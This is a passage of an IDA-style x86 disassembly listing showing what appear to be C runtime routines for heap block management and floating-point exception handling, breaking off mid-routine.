		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4190D1:				; CODE XREF: sub_418E33+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4190E7:				; CODE XREF: sub_418E33+24Ej
					; sub_418E33+283j
		mov	ecx, [ebp+var_8]


loc_4190EA:				; CODE XREF: sub_418E33+1A4j
		test	ecx, ecx
		jz	short loc_4190F9
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4190F9
; ---------------------------------------------------------------------------


loc_4190F6:				; CODE XREF: sub_418E33+229j
		mov	ecx, [ebp+var_8]


loc_4190F9:				; CODE XREF: sub_418E33+2B9j
					; sub_418E33+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41912F
		cmp	ebx, ds:dword_46AAB4
		jnz	short loc_41912F
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_46AAAC
		jnz	short loc_41912F
		and	ds:dword_46AAB4, 0


loc_41912F:				; CODE XREF: sub_418E33+2E0j
					; sub_418E33+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419137:				; CODE XREF: sub_418E33+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_41913C	proc near		; CODE XREF: sub_418E33+CCp
		mov	eax, ds:dword_46AAB8
		mov	ecx, ds:dword_46AAA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41917F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_46AABC
		push	edi
		push	ds:dword_46AAC0
		call	ds:dword_421160
		cmp	eax, edi
		jz	short loc_4191CF
		add	ds:dword_46AAA8, 10h
		mov	ds:dword_46AABC, eax
		mov	eax, ds:dword_46AAB8


loc_41917F:				; CODE XREF: sub_41913C+11j
		mov	ecx, ds:dword_46AABC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_46AAC0
		lea	esi, [ecx+eax*4]
		call	ds:dword_42114C
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191CF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_42117C
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191D3
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_46AAC0
		call	ds:dword_421150


loc_4191CF:				; CODE XREF: sub_41913C+30j
					; sub_41913C+67j
		xor	eax, eax
		jmp	short loc_4191EA
; ---------------------------------------------------------------------------


loc_4191D3:				; CODE XREF: sub_41913C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_46AAB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4191EA:				; CODE XREF: sub_41913C+95j
		pop	edi
		pop	esi
		retn
sub_41913C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191ED	proc near		; CODE XREF: sub_418E33+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4191FF:				; CODE XREF: sub_4191ED+19j
		test	eax, eax
		jl	short loc_419208
		shl	eax, 1
		inc	ebx
		jmp	short loc_4191FF
; ---------------------------------------------------------------------------


loc_419208:				; CODE XREF: sub_4191ED+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41921D:				; CODE XREF: sub_4191ED+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41921D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_42117C
		test	eax, eax
		jnz	short loc_419250
		or	eax, 0FFFFFFFFh
		jmp	loc_4192E3
; ---------------------------------------------------------------------------


loc_419250:				; CODE XREF: sub_4191ED+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_419296
		lea	eax, [edi+10h]


loc_41925D:				; CODE XREF: sub_4191ED+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41925D


loc_419296:				; CODE XREF: sub_4191ED+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192D3
		or	[eax+4], edi


loc_4192D3:				; CODE XREF: sub_4191ED+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4192E3:				; CODE XREF: sub_4191ED+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4191ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E8	proc near		; CODE XREF: sub_4174BF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_419496
		test	bl, 1
		jnz	loc_41948F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41948F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41935F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41935F:				; CODE XREF: sub_4192E8+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193AF
		cmp	ecx, 20h
		jnb	short loc_41938B
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193AF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193AF
; ---------------------------------------------------------------------------


loc_41938B:				; CODE XREF: sub_4192E8+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193AF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4193AF:				; CODE XREF: sub_4192E8+7Dj
					; sub_4192E8+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41947D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4193E9
		push	3Fh
		pop	edi


loc_4193E9:				; CODE XREF: sub_4192E8+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41946B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419442
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419435
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419435:				; CODE XREF: sub_4192E8+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419467
; ---------------------------------------------------------------------------


loc_419442:				; CODE XREF: sub_4192E8+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419458
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419458:				; CODE XREF: sub_4192E8+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419467:				; CODE XREF: sub_4192E8+158j
		shr	edx, cl
		or	[eax], edx


loc_41946B:				; CODE XREF: sub_4192E8+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_419480
; ---------------------------------------------------------------------------


loc_41947D:				; CODE XREF: sub_4192E8+E5j
		mov	edx, [ebp+arg_4]


loc_419480:				; CODE XREF: sub_4192E8+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195D6
; ---------------------------------------------------------------------------


loc_41948F:				; CODE XREF: sub_4192E8+52j
					; sub_4192E8+5Cj
		xor	eax, eax
		jmp	loc_4195D9
; ---------------------------------------------------------------------------


loc_419496:				; CODE XREF: sub_4192E8+49j
		jge	loc_4195D6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194C1
		push	3Fh
		pop	esi


loc_4194C1:				; CODE XREF: sub_4192E8+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419550
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194DA
		push	3Fh
		pop	esi


loc_4194DA:				; CODE XREF: sub_4192E8+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419529
		cmp	esi, 20h
		jnb	short loc_419505
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419526
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419526
; ---------------------------------------------------------------------------


loc_419505:				; CODE XREF: sub_4192E8+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419526
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419526:				; CODE XREF: sub_4192E8+214j
					; sub_4192E8+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419529:				; CODE XREF: sub_4192E8+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419550
		push	3Fh
		pop	esi


loc_419550:				; CODE XREF: sub_4192E8+1DDj
					; sub_4192E8+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195CD
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195A4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419597
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_419597:				; CODE XREF: sub_4192E8+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195C9
; ---------------------------------------------------------------------------


loc_4195A4:				; CODE XREF: sub_4192E8+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195BA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_4195BA:				; CODE XREF: sub_4192E8+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4195C9:				; CODE XREF: sub_4192E8+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4195CD:				; CODE XREF: sub_4192E8+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4195D6:				; CODE XREF: sub_4192E8+1A2j
					; sub_4192E8:loc_419496j
		push	1
		pop	eax


loc_4195D9:				; CODE XREF: sub_4192E8+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195DE(int,int,double,int)

sub_4195DE	proc near		; CODE XREF: sub_415E4C+51p
					; sub_415F93+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4386B8, 0
		jnz	short loc_419613
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419B93
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419613:				; CODE XREF: sub_4195DE+Aj
		push	0FFFFh
		mov	ds:dword_469464, 21h
		push	[ebp+arg_C]
		call	sub_419E06
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419631(int,int,double,double,int)

sub_419631	proc near		; CODE XREF: sub_415E4C:loc_415F0Fp
					; sub_415F93:loc_416056p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41997C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41966F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196C9
		add	esp, 18h


loc_41966F:				; CODE XREF: sub_419631+1Aj
		push	[ebp+arg_0]
		call	sub_419C66
		cmp	ds:dword_4386B8, 0
		pop	ecx
		jnz	short loc_4196AD
		test	eax, eax
		jz	short loc_4196AD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419B93
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4196AD:				; CODE XREF: sub_419631+4Ej
					; sub_419631+52j
		push	eax
		call	sub_419C1B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E06
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196C9	proc near		; CODE XREF: sub_419631+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4196FB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4196FB:				; CODE XREF: sub_4196C9+23j
		test	cl, 2
		jz	short loc_41970E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41970E:				; CODE XREF: sub_4196C9+35j
		test	cl, bl
		jz	short loc_419720
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_419720:				; CODE XREF: sub_4196C9+47j
		test	cl, 4
		jz	short loc_419733
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_419733:				; CODE XREF: sub_4196C9+5Aj
		test	cl, 8
		jz	short loc_419746
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_419746:				; CODE XREF: sub_4196C9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419DE9
		test	al, bl
		jz	short loc_4197CF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4197CF:				; CODE XREF: sub_4196C9+FDj
		test	al, 4
		jz	short loc_4197DA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4197DA:				; CODE XREF: sub_4196C9+108j
		test	al, 8
		jz	short loc_4197E5
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4197E5:				; CODE XREF: sub_4196C9+113j
		test	al, 10h
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4197EF:				; CODE XREF: sub_4196C9+11Ej
		test	al, 20h
		jz	short loc_4197F9
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4197F9:				; CODE XREF: sub_4196C9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419838
		cmp	eax, 400h
		jz	short loc_41982A
		cmp	eax, 800h
		jz	short loc_41981E
		cmp	eax, ecx
		jnz	short loc_41983E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41983E
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_4196C9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419834
; ---------------------------------------------------------------------------


loc_41982A:				; CODE XREF: sub_4196C9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_419834:				; CODE XREF: sub_4196C9+15Fj
		mov	[eax], ecx
		jmp	short loc_41983E
; ---------------------------------------------------------------------------


loc_419838:				; CODE XREF: sub_4196C9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41983E:				; CODE XREF: sub_4196C9+14Bj
					; sub_4196C9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419869
		cmp	eax, 200h
		jz	short loc_41985C
		cmp	eax, ecx
		jnz	short loc_419876
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419876
; ---------------------------------------------------------------------------


loc_41985C:				; CODE XREF: sub_4196C9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419874
; ---------------------------------------------------------------------------


loc_419869:				; CODE XREF: sub_4196C9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_419874:				; CODE XREF: sub_4196C9+19Ej
		mov	[eax], ecx


loc_419876:				; CODE XREF: sub_4196C9+189j
					; sub_4196C9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419DF7
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_421184
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4198F0
		and	dword ptr [esi], 0FFFFFFFEh


loc_4198F0:				; CODE XREF: sub_4196C9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4198F9
		and	dword ptr [esi], 0FFFFFFFBh


loc_4198F9:				; CODE XREF: sub_4196C9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419902
		and	dword ptr [esi], 0FFFFFFF7h


loc_419902:				; CODE XREF: sub_4196C9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41990B
		and	dword ptr [esi], 0FFFFFFEFh


loc_41990B:				; CODE XREF: sub_4196C9+23Dj
		test	[eax+8], bl
		jz	short loc_419913
		and	dword ptr [esi], 0FFFFFFDFh


loc_419913:				; CODE XREF: sub_4196C9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419947
		dec	ecx
		jz	short loc_41993B
		dec	ecx
		jz	short loc_419931
		dec	ecx
		jnz	short loc_419949
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419949
; ---------------------------------------------------------------------------


loc_419931:				; CODE XREF: sub_4196C9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419943
; ---------------------------------------------------------------------------


loc_41993B:				; CODE XREF: sub_4196C9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_419943:				; CODE XREF: sub_4196C9+270j
		mov	[esi], ecx
		jmp	short loc_419949
; ---------------------------------------------------------------------------


loc_419947:				; CODE XREF: sub_4196C9+257j
		and	[esi], edx


loc_419949:				; CODE XREF: sub_4196C9+260j
					; sub_4196C9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419969
		dec	ecx
		jz	short loc_419960
		dec	ecx
		jnz	short loc_419972
		and	[esi], edx
		jmp	short loc_419972
; ---------------------------------------------------------------------------


loc_419960:				; CODE XREF: sub_4196C9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419970
; ---------------------------------------------------------------------------


loc_419969:				; CODE XREF: sub_4196C9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_419970:				; CODE XREF: sub_4196C9+29Ej
		mov	[esi], ecx


loc_419972:				; CODE XREF: sub_4196C9+291j
					; sub_4196C9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41997C	proc near		; CODE XREF: sub_419631+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199A7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199A7
		push	ebx
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_4199A7:				; CODE XREF: sub_41997C+15j
					; sub_41997C+1Aj
		test	al, 4
		jz	short loc_4199C1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199C1
		push	4
		call	sub_419E29
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B71
; ---------------------------------------------------------------------------


loc_4199C1:				; CODE XREF: sub_41997C+2Dj
					; sub_41997C+33j
		test	al, bl
		jz	loc_419A9B
		test	byte ptr [ebp+arg_8], 8
